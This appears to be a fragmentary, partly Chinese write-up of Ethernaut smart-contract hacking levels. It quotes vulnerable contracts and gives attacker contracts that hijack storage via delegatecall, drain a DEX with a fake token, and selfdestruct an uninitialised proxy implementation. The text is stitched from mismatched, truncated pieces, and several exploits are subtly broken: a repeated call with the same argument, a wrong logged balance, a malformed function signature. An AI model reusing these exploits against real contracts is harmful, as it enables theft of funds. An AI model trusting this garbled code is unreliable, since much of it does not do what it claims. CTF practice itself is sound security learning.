This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you’ll need to use your psychic abilities to guess the correct outcome 10 times in a row.
function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
这是一个部署在区块链上的智能合约,而区块链上的所有信息都是公开的
private仅为不能从外部合约访问变量的值
1
await web3.eth.getStorageAt(instance, 1)
得到密码A very strong secret password :)
然后直接用密码unlock就能通关
King
The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
NaughtCoin is an ERC20 token and you’re already holding all of them. The catch is that you’ll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.
// string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player;
This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Preservation {
// public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
// set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); }
// set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } }
// Simple library contract to set the time contract LibraryContract {
// stores a timestamp uint storedTime;
function setTime(uint _time) public { storedTime = _time; } }
contract Exploit { address public timeZone1Library; address public timeZone2Library; address public owner; Preservation preservation = Preservation(0x9bdA9ef79108556dF26e27B859e464f0baCFdE66); function exploit() public{ // change timZone1Library address to this preservation.setFirstTime(uint160(address(this))); // changeOwner preservation.setFirstTime(uint160(address(this)));
} function setTime(uint _time) public{ owner = 0xAE180bcc68A4A32203210DFe4fD40a11Ad5e5d27; } }
Recovery
A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.
PUSH10x0a --> 0x600a(Size of opcode is 10 bytes) PUSH10x00 --> 0x6000(Value was stored in slot 0x00) RETURN --> 0xf3 (Return value at p=0x00 slot and of size s=0x0a)
初始化操作码的字节码将变为 600a60__600039600a6000f3,总共 12 个字节。这意味着运行时操作码 f 的起始位置的缺失值将为索引 12 即 0x0c,从而使我们的最终字节码为 600a600c600039600a6000f3
This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.
address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = address(0xA9E); uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public { partner = _partner; }
// withdraw 1% to recipient and 1% to owner function withdraw() public { uint amountToSend = address(this).balance / 100; // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call{value:amountToSend}(""); payable(owner).transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = block.timestamp; withdrawPartnerBalances[partner] += amountToSend; }
// allow deposit of funds receive() external payable {}
// convenience function function contractBalance() public view returns (uint) { return address(this).balance; } }
contract Exploit { Shop shop = Shop(0x8Dcb2ddEFDAe97d9F5903c4bD4a7E9b7eEe298A8); function price() external view returns (uint) { if(shop.isSold()){ return 1; }else{ return 114514; } } function exploit() public { shop.buy(); } }
Dex
The goal of this level is for you to hack the basic DEX contract below and steal the funds by price manipulation.
You will start with 10 tokens of token1 and 10 of token2. The DEX contract starts with 100 of each token.
You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a “bad” price of the assets.
contract Dex is Ownable { address public token1; address public token2; constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; }
function addLiquidity(address token_address, uint amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); }
function swap(address from, address to, uint amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint swapAmount = getSwapPrice(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); }
function getSwapPrice(address from, address to, uint amount) public view returns(uint){ return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); }
function approve(address spender, uint amount) public { SwappableToken(token1).approve(msg.sender, spender, amount); SwappableToken(token2).approve(msg.sender, spender, amount); }
function balanceOf(address token, address account) public view returns (uint){ return IERC20(token).balanceOf(account); } }
contract DexTwo is Ownable { address public token1; address public token2; constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; }
function add_liquidity(address token_address, uint amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); }
function swap(address from, address to, uint amount) public { require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint swapAmount = getSwapAmount(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); }
function getSwapAmount(address from, address to, uint amount) public view returns(uint){ return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); }
function approve(address spender, uint amount) public { SwappableTokenTwo(token1).approve(msg.sender, spender, amount); SwappableTokenTwo(token2).approve(msg.sender, spender, amount); }
function balanceOf(address token, address account) public view returns (uint){ return IERC20(token).balanceOf(account); } }
contract Exploit { eventLog(string, uint); IDex public dex; IERC20 public token1; IERC20 public token2; IERC20 public token3; constructor(){ dex = IDex(0x2B7252525E22323d7338e4450b6B39dFEc0B1eC5); token1 = IERC20(dex.token1()); token2 = IERC20(dex.token2()); token3 = new ExploitToken(); } function exploit() public { token3.approve(address(this), 1); token3.transferFrom(address(this), address(dex), 1); token3.approve(address(dex), 3); dex.swap(address(token3), address(token1), 1); dex.swap(address(token3), address(token2), 2); emit Log("token1", token1.balanceOf(address(this))); emit Log("token2", token1.balanceOf(address(this))); } }
Puzzle Wallet
Nowadays, paying for DeFi operations is impossible, fact.
A group of friends discovered how to slightly decrease the cost of performing multiple transactions by batching them in one transaction, so they developed a smart contract for doing this.
They needed this contract to be upgradeable in case the code contained a bug, and they also wanted to prevent people from outside the group from using it. To do so, they voted and assigned two people with special roles in the system: The admin, which has the power of updating the logic of the smart contract. The owner, which controls the whitelist of addresses allowed to use the contract. The contracts were deployed, and the group was whitelisted. Everyone cheered for their accomplishments against evil miners.
Little did they know, their lunch money was at risk…
You’ll need to hijack this wallet to become the admin of the proxy.
modifier onlyAdmin { require(msg.sender == admin, "Caller is not the admin"); _; }
function proposeNewAdmin(address _newAdmin) external { pendingAdmin = _newAdmin; }
function approveNewAdmin(address _expectedAdmin) external onlyAdmin { require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin"); admin = pendingAdmin; }
function upgradeTo(address _newImplementation) external onlyAdmin { _upgradeTo(_newImplementation); } }
contract PuzzleWallet { address public owner; uint256 public maxBalance; mapping(address => bool) public whitelisted; mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public { require(maxBalance == 0, "Already initialized"); maxBalance = _maxBalance; owner = msg.sender; }
contract Motorbike { // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot { address value; }
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`. constructor(address _logic) public { require(Address.isContract(_logic), "ERC1967: new implementation is not a contract"); _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic; (bool success,) = _logic.delegatecall( abi.encodeWithSignature("initialize()") ); require(success, "Call failed"); }
// Delegates the current call to `implementation`. function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } }
// Fallback function that delegates calls to the address returned by `_implementation()`. // Will run if no other function in the contract matches the call data fallback () external payable virtual { _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value); }
// Returns an `AddressSlot` with member `value` located at `slot`. function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r_slot := slot } } }
contract Engine is Initializable { // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader; uint256 public horsePower;
// Upgrade the implementation of the proxy to `newImplementation` // subsequently execute the function call function upgradeToAndCall(address newImplementation, bytes memory data) external payable { _authorizeUpgrade(); _upgradeToAndCall(newImplementation, data); }
// Restrict to upgrader role function _authorizeUpgrade() internal view { require(msg.sender == upgrader, "Can't upgrade"); }
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. function _upgradeToAndCall( address newImplementation, bytes memory data ) internal { // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0) { (bool success,) = newImplementation.delegatecall(data); require(success, "Call failed"); } }
// Stores a new address in the EIP1967 implementation slot. function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
/** * @title Initializable * * @dev Deprecated. This contract is kept in the Upgrades Plugins for backwards compatibility purposes. * Users should use openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol instead. * * Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable {
/** * @dev Indicates that the contract has been initialized. */ bool private initialized;
/** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing;
/** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
/// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; }
// Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; }
contract Hack { function kill() external { selfdestruct(payable(0xAE180bcc68A4A32203210DFe4fD40a11Ad5e5d27)); } }
contract Exploit { Engine public engine = Engine(0x5a8f77d76Ba94f2D54B44Bcc51F178d376caD509); function exploit() public{ engine.initialize(); engine.upgradeToAndCall(address(new Hack()),abi.encodeWithSignature("kill")); } }
Forta
This level features a CryptoVault with special functionality, the sweepToken function. This is a common function used to retrieve tokens stuck in a contract. The CryptoVault operates with an underlying token that can’t be swept, as it is an important core logic component of the CryptoVault. Any other tokens can be swept.
The underlying token is an instance of the DET token implemented in the DoubleEntryPoint contract definition and the CryptoVault holds 100 units of it. Additionally the CryptoVault also holds 100 of LegacyToken LGT.
In this level you should figure out where the bug is in CryptoVault and protect it from being drained out of tokens.
The contract features a Forta contract where any user can register its own detection bot contract. Forta is a decentralized, community-based monitoring network to detect threats and anomalies on DeFi, NFT, governance, bridges and other Web3 systems as quickly as possible. Your job is to implement a detection bot and register it in the Forta contract. The bot’s implementation will need to raise correct alerts to prevent potential attacks or bug exploits.
function setUnderlying(address latestToken) public { require(address(underlying) == address(0), "Already set"); underlying = IERC20(latestToken); }
/* ... */
function sweepToken(IERC20 token) public { require(token != underlying, "Can't transfer underlying token"); token.transfer(sweptTokensRecipient, token.balanceOf(address(this))); } }
contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable { DelegateERC20 public delegate;
function mint(address to, uint256 amount) public onlyOwner { _mint(to, amount); }
function delegateToNewContract(DelegateERC20 newContract) public onlyOwner { delegate = newContract; }
function transfer(address to, uint256 value) public override returns (bool) { if (address(delegate) == address(0)) { return super.transfer(to, value); } else { return delegate.delegateTransfer(to, value, msg.sender); } } }
contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable { address public cryptoVault; address public player; address public delegatedFrom; Forta public forta;
/ SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Switch { bool public switchOn; // switch is off bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));
modifier onlyThis() { require(msg.sender == address(this), "Only the contract can call this"); _; }
modifier onlyOff() { // we use a complex data type to put in memory bytes32[1] memory selector; // check that the calldata at position 68 (location of _data) assembly { calldatacopy(selector, 68, 4) // grab function selector from calldata } require( selector[0] == offSelector, "Can only call the turnOffSwitch function" ); _; }
function flipSwitch(bytes memory _data) public onlyOff { (bool success, ) = address(this).call(_data); require(success, "call failed :("); }
function turnSwitchOn() public onlyThis { switchOn = true; }
function turnSwitchOff() public onlyThis { switchOn = false; }